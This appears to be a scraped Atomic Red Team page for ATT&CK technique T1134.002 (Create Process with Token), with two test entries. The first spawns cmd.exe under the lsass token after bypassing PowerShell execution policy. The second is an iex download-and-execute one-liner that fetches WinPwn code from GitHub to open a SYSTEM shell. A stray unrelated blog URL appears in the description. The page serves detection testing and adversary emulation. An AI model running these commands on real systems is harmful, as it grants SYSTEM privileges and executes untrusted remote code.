Try it using Invoke-Atomic

Create Process with Token

Description from ATT&CK

Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as Token Impersonation/Theft or Make and Impersonate Token). https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Access Token Manipulation

This Action demonstrates how an access token for a specific program can spawn another program under a different owner. Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe

Supported Platforms: windows

auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
Set-ExecutionPolicy -Scope Process Bypass -Force
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
$PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")

Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique

Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn

Supported Platforms: windows

auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92

Inputs:

None

Attack Commands: Run with powershell!

1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem

source